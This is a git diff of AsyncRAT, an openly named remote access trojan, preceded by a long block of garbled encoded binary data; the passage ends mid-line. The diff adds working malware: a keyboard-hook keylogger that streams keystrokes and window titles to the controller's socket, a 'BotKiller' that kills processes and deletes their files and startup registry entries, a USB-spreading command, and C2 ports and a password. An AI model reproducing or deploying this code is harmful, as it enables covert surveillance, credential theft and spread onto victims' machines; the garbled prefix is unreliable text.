zjT1v#uGh~)VpCooHc;Ibfk#U*WZ|q?)uGO=?szz;Cmk|AgsR)RJ2tSZA!((Af}Ner zSQzeV2zRyN&zZLC%d$`+u{joR#nP@b8fpn+Dcv2%C800uk+nn6bDj7GE`__9XHa2d zRT-wbNHi>gWuewqI8q5q6L}I5syg1&*%i|RL^C3tZQ-~C8^gS*kRVsOvLnJ~M%`WO zW^0S1hVFQKcbqGpuGay?0!R(AjM1T*cxbZ@VTxRV#cCMIWN%WtrKL^iW!zA)(O{QZ z(S}J|y?8PxlIzxCp0Q_4Z{nFl&!w#9`i@Pp4PmWb6K-DHjb4%sj3kz+-egQ~iBJgD z*F+MXu>==L+!&dZC^ZX4m@S)e(GkUJf_u%hotJ__HikBZ7xZ-TB46lroCY&SB8Dq>PD3ctfu6!n zf{dRu6t5GoXKRgZZtUtAh|Oeiex949ATC}A&X^`(UQOZl&P+NTUYE+D{^~5zG8AX(xactw;(Cc6Y_JVWLk%ad5b; zD?71C2$QU!Yr<>0*R!YVfL+yKw65o<2J8$YEl8T?NV@gm_=0$BvsgLr_u0mxVO+S4 zSk#Jz(>mm9-po628KY=KJhg#p4R*oTtnEhB$_}j7BkLkOVtB+4#H2$j6PU8o6zYPg z>pA_gybQ4hqM$FV@Ok77@Pb&wwy%x$G)20O%Z`Uy!|kE?hJhSSp*R{R{vHlBBO;}c zMUmFlaK}J~+AUq-js&*d1FTf7+@Gt$@xhUeSiwS9JAJ}JZfrr1 zTP~*8mUsmFxXemx^!~m9?Zv(#t#-DeNK^`15srqoNGLH7pQ;kJ+1lOGH8i3+*4Y#1 ziS&3;@W>rK0};lfiRE@h)<*b9X&{!_Yze#-V#lNhorKt~d37n{i6Xo;(m{+?9gy*b zUG}Chdv3Fh(5^d0@Y(~>yz{LJZ%G*`_Oh*9wBCsD)>e};yGX=}@WyWJC>!B9gvORU zok8Xoq1fcpt6(W?fa19HGFajUC>eG76d_$I&*gdvm1dbnWN_;{psjTL8Q~rY^I2O2 zXLV>0*J>7GsrF@%JZ_mStCpqfDA5(Ki-y)qu4NtTQ*K3XN#P5$*m}|@T$*DYTJ+R5 zpVP!e#m9{rl0~NC&&!mKjLuyaA&r zHi%?XOUEpZb*yJ+Zy4gdOgNNiiA2%~O@Q?qOc;WvwlpErYMNTeXNx8o>@^(*-*8R( zMd2-}WZi2MTHwJ=HV2t3shN^EggFFO9qZg2>S}3|4&?D79VUV5P_(5RV?3-WJlX3E8Y~75X6&f19s9<=-|yYFAsSh=8ZPyL0&SaNkj>|GnG}gZ6c5kncamZWTfe! z3@07j%sV|=)E;WVl!tRwy}J`ZOi-_3Gx!<1K&dN}uHR%5VhU`-U@=rw_KX+=*gGY# zGEJNrL9G#-ldbQ>w7hifc@)LTHeX}-)$Ocmz}W|;BA&Qe`Em^=aAE;XN7pi!?I@n6 z&J0Dm(nL!t&3c$j6ZWQBRt}hD77Uda)6!N^j^PWF4Q&XMJ1X2N+M|Wo*y|9M#vEbT zx;r(&RS#@$MSu*lF4~=FtBZ8tFf7V)u#4BBwL-7NniA}_@VvB+A;JKI z%s0zo(VmW2J6sa}HgP(rm%iba2o3;c(IT}G4nO5i14YA|!cn#`@sos6qXS0&^&JTu zH$<^!h?r1&VpB`JtEv@DqpUL`9L7xyJy4dwRJojBLP8?If>WzpTVj7O#N3eS_j7WzGWbS@QuNF*94DMPN9TC^9!`v0-G(q|y6~;szi}#oe ziGj3Owm~>Fay?%;cRfzTC94FMcZa*fye8(8W#LGg#H^VMB3(;6`P>@zrQHe~YCCp_ zaonegu8(2W(bg`#F+erNBkhF!Rcovrw}fP4*Ax$RBzT9OGJU=gWM%|jxTRN+1GB+k zww?*J29J~Y*obsjg+m?eztK}1lD`p5x%m9e znX%EqBzFSFuPm>mv(f~QF0pRYIVd@`1`Nvmx74(Un+)cT9K`N`|KU42@Jw)90|(oL zV-<{hECP)1%VG&lu;WM**qUlCcTEeQ`6IdRU)WV=Tcid1=&)uliFGx0cXrCnw+t=@ z6eJ2mi!I>+HtsUuE@DR)kFpGI3*V4j6^ZGUW=4cbKEToYoyNBAF6=KmFvK@>@HH64 zu`qXYT`ayJ3=5XUhqiwltZDn_fcQpf6(6_}d{G=-$w6LKNkDIlBq+Oo3GrfF0~K7$ zofS@lq-FYWP}*jKdT_Mr$_ZVEno?AzT+}MZ4@OGj1%{j`Vf={P7#^)*-hLZWmz%-h z9j1w6(_O1`u??AEV>BG@q_ypxIAdyW!DZ0V9=69g!i!4dx;sg4ic*wW(_lNjk?KS7 z%#;1|nwy)TGjp(?rUoxPPD}Bt;R)h62m>s@bQSO6^;|ekn|ZU@tbGAB)SP5|GVY2+ zTKLR&6OO*)e82Yi5%sV!oIj=$!U@CR7VyarvT2u`y02q89`}Yy>Rj+In zgh@KW%P&LWF#sH5B29N3uBD4-GBYv9(}RgRc@pGdg;R_kKH!o`B4q`JsO3^c;id-B zcq-f!ONBah{V*Z;Q9gy>Y_c5E_fawFEar10SU5Y{SRBWAjCIi%FylFhl%pQ-#)+y_ zG>#o`%MpG;p0U6~6I9irQ7#R*)5T;pmL7aQ-Xc?NiiQ;!8a=SA3#Pj^af}^`1s%)G zxOba?HHu$H8hsDFCK6iT5li4)Cm~A0q!a6C)nRk9uK{bQ2$sddUxK-7Q&{^>6cXj3 z6v6Gf#PM&TR@LDCBgdNRQoA#@p?Iv5ReQW>c9DESl#bWuDj0u!XpFjIJXK-HXmJ*yQ4K8K_2vizCnxy56IdrSU0rRc5I5^ZX?fJt3q)(gp!mz zD`=JIVQKD{Nb!R?T(=&rnP~=dnz3kI+M#7I%Ty42+9nHtn(j_$75xvX#Dz?kjUh|C z5(ng(;G=RKVrQpAdWpnmxwK+k%k%^dH-Y(uTVXjCWFLd(8b((`$HzlOIsl7aD@CyeumkAU?UQK~jg#X`K3PCG+{J58t2y$p(!sFy!{Rp5cBoIO6IJZvwItAu_Ec;P z=CCfEJhc?78aR(j$7PIj89_1z^;$}d2dgbPZEp!Ie8SBI`MoLSKEMK{Qv6owi%Mh zFk-Ubz)pRMl(FFAfZ#9(EX2Rm^OgLS#q1)unG;ihj$-PKRq>ICtsdTszR~Xn9Kw~JXRbq}? zs6NQ&P*4@_*bt`pXl%V9Fszx!>d{&kIZbfj*w`@4tUa*O;|Kh@u>Z=KDR~)&3G<)z zoAEXOESU(V7kwgR`gXg>IY6N|WlR&cb2=cMq=T}R*Fh+CS*Al^tJHm_<2h1?xMnOC zls)giq+D&V^MYx!*cyY!9Uam6T@Y)oo>#h29Nj5$_Sa@-17U_*` z@JKqWgVoq^Q7iw30md`)!>+Ult2C_yG?~}YI7t#3!;YVpO0ncv>7S{&0bXiJcuTt1 znmD`(t4VA_mxMP<>zBkfYvYjB=#rS8GYN9)_<_eABv}Rt_Y&TM`;Kxxx*)cN&WvC= zE#rmHZs56fc);E?ZB9{B3H6or9ZcwOJiIOyWOjXmC;uL)9;dlx-Q3u{mWk$&KI5f! zs5Bgx_!u63#bF_bSKzn@2WmZ%bOUFW)9b2gS!2ubM^8$N>FIw^Wa_3E;amX2Dp40| zk3@T9Biz|TGP3zpNB6GYnR4r8i#mAS4mXJ|jp@Tawoo(5QY+K}X{BStftY7Wr0s(k z%@Ka4DHY8ggV#y8$0nYn1Glj>WyW@@ZB#F3qD$ko?VU)=Kd}q&E>HmPd&TjVOAFqT z!6FTB0=0rS55E`S9kZ=?BQ1b8#X@)|CY+5mpH;^n_4@VS)DID2n3sX}-+jBDhW2;RDZzm)ADN3SxOI^ zktbzS|G19NEwP~*uVDtH=D0{0lRjaL;#Ia|?T;;nhdSFiTNMw^)G(ewR2l?V_e!he zPK_MaKaE|2mUFAw{?{X?wn-jOsdUuvua2h`kRW7wm8~eH%|WBd!7hwEv+$D6RQyuG zG`zBUGDgr;^Naq2%n8WKma+o2*n}J$J3~@X_Bzypdta>mg7Jvwu~-8hyFI-BGn}1X zkI2u`R3ROYOY$wj%Zov{PxcvHD&=y@7QAf8_C!V1$P+=BeMvoV9dtvUMHmD1D4#ql zjZKhaDPEhTf(E2+fo^f)E%t*lY}~dc@WfuT@iqx8hwXu~>rj`GI(r7%Z1|p(i>CZl zsC%Ht@#ZqhVz0tIL-`Ge|40c z%MtE^et3KZ@RDx}EQV?)f!YH8Y)mmaG!4C@!z}I4Tqh%zb8`;9&LKLt(dc0_q-2{r zhlc9t9PueU&BQSEB#@>Wvc)AmYksg6&VdE6HJ*bnz;A&ZG<+R2!uH;PIy#ItF!|*3 zJkT!Qgv+KPo;|P}N4b&oSRz*?e8g#_ax?jquhXV`B9}dQ6s2%~kf+YnNTuA*DSN3A z`SmzqJ0q9&9kHeGG|hGvB^t#&z^U0A*Wfn+OXu;8S*4U^9av@@qsszbN^mYNkLRTh zjFpwh*NU>4Pad8h#l~}aq?`v{3u1UgMZsS$vQX|)@`sbeJ8q?f-J(~402a@>M>#!%*y^MZXI0Y6J0Iv-t@(5)+*SysdVh=C{ z8VSH3aESd2d(8>>Wj(PM9fPrq-~1M6FvEu=8u0@6V*FN1uAz%H_HL;j<}hpW^A}}x zuCr+9c~)gzvjv|4O=~jZ~t+Aq+ZFkpyz9zS9ylc^jSPFaY=eL$9BOb zrtE{u*Xx1+UUF@KhpvX#L8*?j;OEH0+FZ>cABP6kCEye=Cv!y!-YDkP8NJ|M3~Q8-EbK>4k4>IepiT^Y8r0GyYDp2b6Nd-zx_KJ|B~L43^OI z1eXh*i&Q1}MGX0qZ)Fwv-L?Y!;r0T{<}4umD*ReGE;SJ0D)RTvQ3ZHcl}yMLuq1$pS&E5!*ccHJ4zk7{;h8OWV_wIcDKjlPriu&g81*> z>Q7#k&cYnGySUWBYH~YBK?G00p}_QY7lTHOD`4Xbu6E|Tb5YN?EG`1*LF3RAG*u|5 z04ga^&H(<-y|geZU6)hK=aHn4=`gb5qZ_P$6o5*&PJ4iS-8lg$;VMYn8}W5RuwroY zxlFY3DiO*l=yAGi+(e(t4FP@a{^T|Ot)*x`%gijdlPtb+9ibCLZk=XiHrX4A)C%jcL&7Wvhusm^NhKCnr^WEK=R0b-QU0y@4kNj! z(DZ<>-7ry?shclMSiX&N6##RPSR$CEO1zeXth|yE)=@r23YEfE2Up+;u!(O(m!j`+ z)v+io705zf#B`%0IYm!8g`Jct8SctSTIx@JoK_1|zsI+cHHL!S(icPe0O_Td_vkJybvRuX%KtdqWl0qX zy2rQ*xDZoi77PbHJVSF&>Bny=LWSBZc%j+M1hdcPZb-Gh7wvHl>(}1+_ z|4i^gmj?z6t(7`Z5kyK}@84=U-7uJv5~~#B4}Dl7rhKPAd8ZxC%7$mih9IR5)@|>_ z=-E<7p2KCKAdDmo1ee`Y>VdkX@#(RQ@<+PNNQT(pr<%s?Lj=0s*N)OGP4zGZXP>-> zTixw;p@;EP>>;}^c|VlnMxFVNVvJy@+n$9uNS4JSx;-u%r@=3e;Zg_w5(GOJvMY8* z62P_Co#V2L2K_Z)n&DVezYGr>BzNFDNcAgJZUn6j+mVh4LicOEMXKgD8lsKi!c6{8PItZbJP ze9bO%6^YBq()4jmUuLG4{7L>V6VOY-dBvaP|H662h1qKn%*^Am%N65C8&aubj4L0` zJ3aTX|K#z?y{#oc+JNQX3RCNb=2=OW+r?h=8aQ##?lPBma0xs@r3^ht;b1tQ=vQZ) z>nbg=;6_@d!^MtZ(a4hNO#HnV5#S&~7boIq$uX_=(gas7BGR*qHb>5cl8SuEXE+W1 zvy)^BQ(B6P!B&7TT-o4VOJLtB?-Uot>^~ETRU`7SNXGm7w|b>*X(>t_DA3B|Qr&>O zJa*!Fd6+qsulG)0?>)ZW`(cHpd8Ia3s+-fe^VnD9u|cVlVh?6>fA6CuZnrn!^e4Y2 zZSQ@;pS-vPW@}+*%gIqBLKe3HKkQDDAMz5Z_W%lqSNfVGfF%RVl9lIz(fNB{E%CS< za7=9E7B_-9+LO4Q6vw6jbVd=OHcynJdA&>O1+BdLt=lj&+CGE^Ryz9eP9@+ zCi~DF3kG7BQ6werM)lcQ46KjrT!tJ>y4mcRAQ?wxF*l33S(=;6+}u333-j=9uplvy zclg&Mxlm1>ulEyQ?`OVkiroiOxh|-QB`M9z!>}WED!Y8!JR_d0ZCzHM{zIKO|}JTyd=u&R4Ky2PMNd>?|& z5*IE?o4~C&s8KZUJi}0uoPE0SsCeaB$3Ia7fnU*2h2_jfjLa1VBcVQVN=E8 z^EQfWyB-q}hWJ+hR_T^)^+@Gw&j~nrZe+K$t%0Yn-ZJ>L(h?Us0zv2xov>V{w{5Gj zo-8RTg_2;)JRI~m+jcIi5UH>XK&J7$+=iCjel}`!MY+GX(%(CcjYTVVqrP-Y**#{i z+}7jU1}_auMOLg8*fx+C=BBfv5RQVuxiIhn9$u!{Ff(H^l-W zfi$u+vfOu_f6l5AGY?+uzV!>uU-dnob&4GuJFE&AFw>KrkKF7qJAC~o0Km-zvS0Pi zGhejhkA#8e1weOX=X`eT&BzWG{yY0dAE1Ta`*) zbj&TG%%@$dQum1lo`6X|=ur_!eNdz#V4jkmH?wLg|Ema8<90LNTb|bu?#7eV(Tcz_ zyy_Zh!ELuDyjI&WZ|%t^hfZoaY1XtkGiHXT&Yn}Gnk;YQhDfJ8xWNxX;YlxSM}1zK z)4$kqmf*4ot^pfDr++K>-MB8x7IkS;yqepMYu%)p%OS9dE zLVnENsi=>+*j<*>W1_L6aAHI3pUwO`krd^^ZtYHXsR-?3c$nc)r0U_oQPkBABFe-| z46jJ>5Utb!eyinVzm|NO;d#rM#n%H2*E77DmZgtL0K7Gau0^QV&5)C&o60*%mzLa< zO93owyXfoF!T=;ipKF85HfnT){_tCfo3+05*4tf*+E%2)dT9i7KriZ#PZGG<91+j zK|g`eM#=jg;)MWK3VcCN$u(DBu=Zju){=b5)|V_+8ah~7?BD9bNRj!2l!v>XOYybm z1+bF%ngn@y3IVy1n3I@`4Z_7GI?Rh>4r6wP>tlbAqcxxjG{(d8o`?HR5?!u5o|KL} zZuAfLq#FgKy$2VNCV0v0hI~9Dr`8l$B-kfmmCv9UEZZc?#%~FJ-C+2<3>yLHVgTGF z=x)SX%Nha2gh$8?3>cT*OAEnyuHydHFka}sx!8@coFn}y$8Ddk!q zx+r_nfD#braSM(1A|l-$x55Ya_y=FpQ`BS)I}^`B;|2coTPJu-2ha2=q~oa<$GkiZ z({OxkGyQsV;1_!Wf$3AH;nq@)BG)uM%MrefO665cYMaupgjb{{!cCY7EASl8Iy_W6 zPd{UV%JT}-DfvzOXsCz3OK<`g5lF`bW(IVIfXNTZ^bZ2_CFH^UEw6W(h}4A_0hvE% z;X8?`pE!pDDQfVwH6tAnKF}1$OBeEbluYsAu)JKydHz100`qYgK80_D(F1=Nz3S5^ zzI*CzBdl>#uisKl^H$aTdi2_Ro;#9!`*#n{2@bC1|5N|78sP6wOP3~jRfvUMa&Y-< z?}Xc;L;0L8$uQ_gr*9h)#iii8+;F{@^(lH+j}qa%Yt6)U6>dT|1MwX|gz9l4X$k0h zU>(BzbHDvhf8#sB`j^18G;`_E5&{cchty5tn)_ zfn}SH`!PyxCFvV$eET_?Apy6z8|_Fxa)3OG@Evgesx?2%!l}7sow&Ki66xow=s3Ip z?V$kvO-KFH_}02<*FZVC2l$p2-|CCw)^18mgj-xJ=TcJ#_W;+N(g{<1V~(VUj+IyI zSl=LPMQixBZt8|6vdGU&(c9oO$7=6b-OZLf{9p&)ux^Kz^usLwEZ-$RQuO-_BmL98 z56u0-miA}>&vo)Eq4UOIS{M_M_YUx)!@M#0dO_vvF@Xf09dE^>xE zH!C-5ZpeInB!D7167$A%$2(3*;5{llwpiJo`Yd5(ORW8rP@=tR)3h;x_E1M;9Uc!& zO)*j*3JV0%h1KKhBVBmrZ;(tpS&a$sw{PZ+Y3RXMqU1djNL&@_>>M*im(UgOPRN^x z|Drt8$4EZZoiN`lF*G=FJZuO#!>#-UQp|sNS?6CYbw;Yx0DcC_(Qg1k;>G-GctBnd zpEo9iSJ(I(P4O{-?ntnOUoxFHW*y!Q37bYqAybYcO-l4BgJhpOC9MP`m^&raL#L&z Y?f-)7W&C#mh%Umt Online = new List(); public static List Blocked = new List(); public static string Port = "6606,7707,8808"; - public static readonly string Version = "AsyncRAT 0.3.0"; + public static readonly string Version = "AsyncRAT 0.4"; public static long Sent = 0; public static long Received = 0; public static string Password = "NYAN CAT"; diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs index a3f7457..100ee24 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs @@ -32,12 +32,9 @@ namespace AsyncRAT_Sharp.Sockets Disconnected(); return; } - else - HandleLogs.Addmsg($"Client {socket.RemoteEndPoint.ToString().Split(':')[0]} connected successfully", Color.Green); - ClientSocket = socket; - ClientBuffer = new byte[1]; + ClientBuffer = new byte[4]; ClientBuffersize = 0; ClientBufferRecevied = false; ClientMS = new MemoryStream(); @@ -63,9 +60,11 @@ namespace AsyncRAT_Sharp.Sockets if (Recevied > 0) { if (ClientBufferRecevied == false) - if (ClientBuffer[0] == 0) + { + await ClientMS.WriteAsync(ClientBuffer, 0, ClientBuffer.Length); + if (ClientMS.Length == 4) { - ClientBuffersize = Convert.ToInt64(Encoding.UTF8.GetString(ClientMS.ToArray())); + ClientBuffersize = BitConverter.ToInt32(ClientMS.ToArray(), 0); ClientMS.Dispose(); ClientMS = new MemoryStream(); if (ClientBuffersize > 0) @@ -76,7 +75,11 @@ namespace AsyncRAT_Sharp.Sockets } } else - await ClientMS.WriteAsync(ClientBuffer, 0, ClientBuffer.Length); + { + Disconnected(); + return; + } + } else { await ClientMS.WriteAsync(ClientBuffer, 0, Recevied); @@ -95,7 +98,7 @@ namespace AsyncRAT_Sharp.Sockets Disconnected(); return; } - ClientBuffer = new byte[1]; + ClientBuffer = new byte[4]; ClientBuffersize = 0; ClientMS.Dispose(); ClientMS = new MemoryStream(); @@ -164,7 +167,7 @@ namespace AsyncRAT_Sharp.Sockets try { byte[] buffer = Settings.aes256.Encrypt((byte[])Msgs); - byte[] buffersize = Encoding.UTF8.GetBytes(buffer.Length.ToString() + (char)0); + byte[] buffersize = BitConverter.GetBytes(buffer.Length); ClientSocket.Poll(-1, SelectMode.SelectWrite); ClientSocket.BeginSend(buffersize, 0, buffersize.Length, SocketFlags.None, EndSend, null); diff --git a/AsyncRAT-C#/Client/Client.csproj b/AsyncRAT-C#/Client/Client.csproj index 51d5e06..a7adf87 100644 --- a/AsyncRAT-C#/Client/Client.csproj +++ b/AsyncRAT-C#/Client/Client.csproj @@ -1,5 +1,6 @@  + Debug @@ -27,6 +28,8 @@ 1.0.0.%2a false true + + x86 @@ -58,6 +61,12 @@ + + ..\packages\Costura.Fody.3.3.3\lib\net40\Costura.dll + + + ..\packages\IconLib\IconLib.dll + @@ -67,11 +76,15 @@ + + + + @@ -117,6 +130,7 @@ + @@ -126,4 +140,12 @@ + + + + This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them. For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}. + + + + \ No newline at end of file diff --git a/AsyncRAT-C#/Client/FodyWeavers.xml b/AsyncRAT-C#/Client/FodyWeavers.xml new file mode 100644 index 0000000..a5dcf04 --- /dev/null +++ b/AsyncRAT-C#/Client/FodyWeavers.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/AsyncRAT-C#/Client/FodyWeavers.xsd b/AsyncRAT-C#/Client/FodyWeavers.xsd new file mode 100644 index 0000000..44a5374 --- /dev/null +++ b/AsyncRAT-C#/Client/FodyWeavers.xsd @@ -0,0 +1,111 @@ + + + + + + + + + + + + A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks + + + + + A list of assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks. + + + + + A list of unmanaged 32 bit assembly names to include, delimited with line breaks. + + + + + A list of unmanaged 64 bit assembly names to include, delimited with line breaks. + + + + + The order of preloaded assemblies, delimited with line breaks. + + + + + + This will copy embedded files to disk before loading them into memory. This is helpful for some scenarios that expected an assembly to be loaded from a physical file. + + + + + Controls if .pdbs for reference assemblies are also embedded. + + + + + Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option. + + + + + As part of Costura, embedded assemblies are no longer included as part of the build. This cleanup can be turned off. + + + + + Costura by default will load as part of the module initialization. This flag disables that behavior. Make sure you call CosturaUtility.Initialize() somewhere in your code. + + + + + Costura will by default use assemblies with a name like 'resources.dll' as a satellite resource and prepend the output path. This flag disables that behavior. + + + + + A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with | + + + + + A list of assembly names to include from the default action of "embed all Copy Local references", delimited with |. + + + + + A list of unmanaged 32 bit assembly names to include, delimited with |. + + + + + A list of unmanaged 64 bit assembly names to include, delimited with |. + + + + + The order of preloaded assemblies, delimited with |. + + + + + + + + 'true' to run assembly verification (PEVerify) on the target assembly after all weavers have been executed. + + + + + A comma-separated list of error codes that can be safely ignored in assembly verification. + + + + + 'false' to turn off automatic generation of the XML Schema file. + + + + + \ No newline at end of file diff --git a/AsyncRAT-C#/Client/Handle Packet/BotKiller.cs b/AsyncRAT-C#/Client/Handle Packet/BotKiller.cs new file mode 100644 index 0000000..8f9acbe --- /dev/null +++ b/AsyncRAT-C#/Client/Handle Packet/BotKiller.cs @@ -0,0 +1,82 @@ +using System; +using System.IO; +using System.Diagnostics; +using System.Runtime.InteropServices; +using Microsoft.Win32; +using Client.MessagePack; +using Client.Sockets; + +// │ Author : NYAN CAT +// │ Name : Bot Killer v0.2 +// │ Contact : https://github.com/NYAN-x-CAT + +// This program Is distributed for educational purposes only. + +namespace Client.Handle_Packet +{ + class BotKiller + { + int count = 0; + public void RunBotKiller() + { + + foreach (Process p in Process.GetProcesses()) + { + try + { + string pName = p.MainModule.FileName; + if (Inspection(pName)) + if (!IsWindowVisible(p.MainWindowHandle)) + { + p.Kill(); + RegistryDelete(@"Software\Microsoft\Windows\CurrentVersion\Run", pName); + RegistryDelete(@"Software\Microsoft\Windows\CurrentVersion\RunOnce", pName); + System.Threading.Thread.Sleep(100); + File.Delete(pName); + count += 1; + } + } + catch { } + } + if (count > 0) + { + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "BotKiller"; + msgpack.ForcePathObject("Count").AsString = count.ToString(); + ClientSocket.BeginSend(msgpack.Encode2Bytes()); + } + } + + private bool Inspection(string payload) + { + if (payload == Process.GetCurrentProcess().MainModule.FileName) return false; + if (payload.Contains(Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData))) return true; + if (payload.Contains(Environment.GetFolderPath(Environment.SpecialFolder.UserProfile))) return true; + if (payload.Contains(Environment.ExpandEnvironmentVariables("%temp%"))) return true; + if (payload.Contains("wscript.exe")) return true; + if (payload.Contains(RuntimeEnvironment.GetRuntimeDirectory())) return true; + return false; + } + + private static bool IsWindowVisible(string lHandle) + { + return IsWindowVisible(lHandle); + } + + private void RegistryDelete(string regPath, string payload) + { + using (RegistryKey key = Registry.CurrentUser.OpenSubKey(regPath, true)) + { + foreach (string ValueOfName in key.GetValueNames()) + { + if (key.GetValue(ValueOfName).ToString().Equals(payload)) + key.DeleteValue(ValueOfName); + } + } + } + + [DllImport("user32.dll")] + [return: MarshalAs(UnmanagedType.Bool)] + static extern bool IsWindowVisible(IntPtr hWnd); + } +} diff --git a/AsyncRAT-C#/Client/Handle Packet/FileManager.cs b/AsyncRAT-C#/Client/Handle Packet/FileManager.cs index 13ace38..5643407 100644 --- a/AsyncRAT-C#/Client/Handle Packet/FileManager.cs +++ b/AsyncRAT-C#/Client/Handle Packet/FileManager.cs @@ -9,7 +9,6 @@ using System.Linq; using System.Text; using System.Diagnostics; using System.Net.Sockets; - namespace Client.Handle_Packet { class FileManager @@ -106,7 +105,7 @@ namespace Client.Handle_Packet { try { - byte[] buffersize = Encoding.UTF8.GetBytes(Msg.Length.ToString() + (char)0); + byte[] buffersize = BitConverter.GetBytes(Msg.Length); Client.Poll(-1, SelectMode.SelectWrite); Client.Send(buffersize); diff --git a/AsyncRAT-C#/Client/Handle Packet/HandlePacket.cs b/AsyncRAT-C#/Client/Handle Packet/HandlePacket.cs index 1831e85..331859a 100644 --- a/AsyncRAT-C#/Client/Handle Packet/HandlePacket.cs +++ b/AsyncRAT-C#/Client/Handle Packet/HandlePacket.cs @@ -1,4 +1,5 @@ -using Client.MessagePack; +using Client.Helper; +using Client.MessagePack; using Client.Sockets; using System; using System.Diagnostics; @@ -81,6 +82,13 @@ namespace Client.Handle_Packet } break; + case "usbSpread": + { + LimeUSB limeUSB = new LimeUSB(); + limeUSB.Run(); + } + break; + case "remoteDesktop": { switch (unpack_msgpack.ForcePathObject("Option").AsString) @@ -173,6 +181,32 @@ namespace Client.Handle_Packet } break; + + case "botKiller": + { + BotKiller botKiller = new BotKiller(); + botKiller.RunBotKiller(); + } + break; + + case "keyLogger": + { + FileManager fileManager = new FileManager(); + string isON = unpack_msgpack.ForcePathObject("isON").AsString; + if (isON == "true") + { + new Thread(() => + { + LimeLogger.isON = true; + LimeLogger.Run(); + }).Start(); + } + else + { + LimeLogger.isON = false; + } + } + break; } } catch { } @@ -202,6 +236,7 @@ namespace Client.Handle_Packet catch { } finally { + Methods.CloseMutex(); Process.Start(Del); Environment.Exit(0); } diff --git a/AsyncRAT-C#/Client/Handle Packet/LimeLogger.cs b/AsyncRAT-C#/Client/Handle Packet/LimeLogger.cs new file mode 100644 index 0000000..51248d2 --- /dev/null +++ b/AsyncRAT-C#/Client/Handle Packet/LimeLogger.cs @@ -0,0 +1,240 @@ +using System; +using System.Diagnostics; +using System.IO; +using System.Runtime.InteropServices; +using System.Text; +using System.Windows.Forms; +using Client.MessagePack; +using System.Threading; +namespace Client.Handle_Packet +{ + // │ Author : NYAN CAT + // │ Name : LimeLogger v0.1 + // │ Contact : https://github.com/NYAN-x-CAT + + // This program is distributed for educational purposes only. + + class LimeLogger + { + public static bool isON = false; + public static void Run() + { + _hookID = SetHook(_proc); + new Thread(() => + { + while (true) + { + Thread.Sleep(1000); + if (isON == false) + { + UnhookWindowsHookEx(_hookID); + break; + } + } + }).Start(); + Application.Run(); + } + + private static IntPtr SetHook(LowLevelKeyboardProc proc) + { + using (Process curProcess = Process.GetCurrentProcess()) + using (ProcessModule curModule = curProcess.MainModule) + { + return SetWindowsHookEx(WHKEYBOARDLL, proc, + GetModuleHandle(curModule.ModuleName), 0); + } + } + + private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam) + { + try + { + if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN) + { + int vkCode = Marshal.ReadInt32(lParam); + bool CapsLock = (((ushort)GetKeyState(0x14)) & 0xffff) != 0; + string currentKey = KeyboardLayout((uint)vkCode); + + if (CapsLock) + { + currentKey = KeyboardLayout((uint)vkCode).ToUpper(); + } + else + { + currentKey = KeyboardLayout((uint)vkCode).ToLower(); + } + + if ((Keys)vkCode >= Keys.F1 && (Keys)vkCode <= Keys.F24) + currentKey = "[" + (Keys)vkCode + "]"; + + else + { + switch (((Keys)vkCode).ToString()) + { + case "Space": + currentKey = "[SPACE]"; + break; + case "Return": + currentKey = $"[ENTER]{Environment.NewLine}"; + break; + case "escape": + currentKey = "[ESC]"; + break; + case "LControlKey": + currentKey = "[CTRL]"; + break; + case "RControlKey": + currentKey = "[CTRL]"; + break; + case "RShiftKey": + currentKey = "[Shift]"; + break; + case "LShiftKey": + currentKey = "[Shift]"; + break; + case "Back": + currentKey = "[Back]"; + break; + case "LWin": + currentKey = "[WIN]"; + break; + case "Tab": + currentKey = "[Tab]"; + break; + case "Capital": + if (CapsLock == true) + currentKey = "[CAPSLOCK: OFF]"; + else + currentKey = "[CAPSLOCK: ON]"; + break; + + } + } + + StringBuilder sb = new StringBuilder(); + if (CurrentActiveWindowTitle == GetActiveWindowTitle()) + { + sb.Append(currentKey); + } + else + { + sb.Append(Environment.NewLine); + sb.Append(Environment.NewLine); + sb.Append($"### {GetActiveWindowTitle()} ###"); + sb.Append(Environment.NewLine); + sb.Append(currentKey); + } + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "keyLogger"; + msgpack.ForcePathObject("log").AsString = sb.ToString(); + Sockets.ClientSocket.BeginSend(msgpack.Encode2Bytes()); + } + return CallNextHookEx(_hookID, nCode, wParam, lParam); + } + catch + { + return IntPtr.Zero; + } + } + + private static string KeyboardLayout(uint vkCode) + { + try + { + StringBuilder sb = new StringBuilder(); + byte[] vkBuffer = new byte[256]; + if (!GetKeyboardState(vkBuffer)) return ""; + uint scanCode = MapVirtualKey(vkCode, 0); + IntPtr keyboardLayout = GetKeyboardLayout(GetWindowThreadProcessId(GetForegroundWindow(), out uint processId)); + ToUnicodeEx(vkCode, scanCode, vkBuffer, sb, 5, 0, keyboardLayout); + return sb.ToString(); + } + catch { } + return ((Keys)vkCode).ToString(); + } + + private static string GetActiveWindowTitle() + { + const int nChars = 256; + IntPtr handle = IntPtr.Zero; + StringBuilder Buff = new StringBuilder(nChars); + handle = GetForegroundWindow(); + + if (GetWindowText(handle, Buff, nChars) > 0) + { + CurrentActiveWindowTitle = Path.GetFileName(Buff.ToString()); + return CurrentActiveWindowTitle; + } + else + { + return GetActiveProcessFileName(); + } + } + + private static string GetActiveProcessFileName() + { + try + { + string pName; + IntPtr hwnd = GetForegroundWindow(); + uint pid; + GetWindowThreadProcessId(hwnd, out pid); + Process p = Process.GetProcessById((int)pid); + pName = Path.GetFileName(p.MainModule.FileName); + + return pName; + } + catch (Exception) + { + return "???"; + } + } + + + #region "Hooks & Native Methods" + + private const int 